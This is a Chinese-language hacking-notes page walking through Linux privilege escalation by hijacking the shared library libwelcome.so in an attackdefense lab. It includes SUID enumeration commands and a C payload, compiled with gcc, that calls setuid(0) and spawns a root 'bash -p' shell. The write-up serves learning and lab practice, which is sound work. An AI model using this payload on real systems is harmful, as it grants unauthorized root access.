> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/shared-library-hijacking/libwelcome-shared-library-hijacking-linux-privilege-escalation.md).

# libwelcome.so 共享库劫持 - Linux 权限提升

## 这是什么

共享库劫持会滥用动态加载器：当特权二进制文件加载一个缺失、可写或由攻击者控制的共享对象时。恶意 `.so` 可以以加载进程的权限执行代码。此特定页面重点介绍 **共享库劫持（libwelcome.so）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
ldd <binary>
strace -f <binary> 2>&1 | grep -i open
```

## 示例

<details>

<summary>易受攻击的机械网站 <a href="https://attackdefense.com/challengedetails?cid=90"><strong>attackdefense</strong></a><strong>:</strong></summary>

</details>

搜索带有以下属性的文件 [SUID](/zh/privesc/suid.md) 权限：

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/080a0b50747adc5ef53ea7adc2d7e343f1652fc7" alt=""><figcaption></figcaption></figure>

如果库搜索路径可写，我们就可以将 `libwelcome.so` 直接放到二进制文件加载的目录中。

<figure><img src="/files/768cc0b0a144c44b125555da8e07b542790e32d0" alt=""><figcaption></figcaption></figure>

通过检查配置文件，我们可以看到库路径指向一个不存在的目录： `/home/student/lib`.

<figure><img src="/files/d2c1e44ca7f02c6d7f3aaf1d3aacc955c72f5c93" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/87dff6d8017769510ba435f38e704de4ae457c04" alt=""><figcaption></figcaption></figure>

创建缺失的 `lib` 目录，并放入一个可控的 `test.c` 载荷：

<figure><img src="/files/0c9dec5c63575e8bfedef811562c34289755271e" alt=""><figcaption></figcaption></figure>

这 `test.c` 当特权二进制文件加载它时，载荷会以 root 身份启动一个 Bash shell：

```c
#include <stdio.h>
#include <unistd.h>

int welcome(){
        setuid(0);
        setgid(0);
        system("bash -p");
        return 0;
}
```

将载荷编译为期望的 `libwelcome.so` 共享对象：

```bash
gcc -fPIC -shared test.c -o libwelcome.so
```

<figure><img src="/files/31733c2dadadbced3a98b86419695dccae13bc10" alt=""><figcaption></figcaption></figure>

将编译好的共享对象移动到缺失的 `lib` 目录，并确认二进制文件能够解析到它：

```bash
ldd /usr/bin/welcome
mv libwelcome.so lib
```

<figure><img src="/files/a5e0b136f278511df2c82e60ab10ab5b31dd83a1" alt=""><figcaption></figcaption></figure>

运行 `/usr/bin/welcome` 再次运行。二进制文件会加载恶意库，并返回一个以 root 身份运行的 Bash shell：

<figure><img src="/files/6f51dde9e2ff969de72ad628b82eb839996c3e0d" alt=""><figcaption></figcaption></figure>


---

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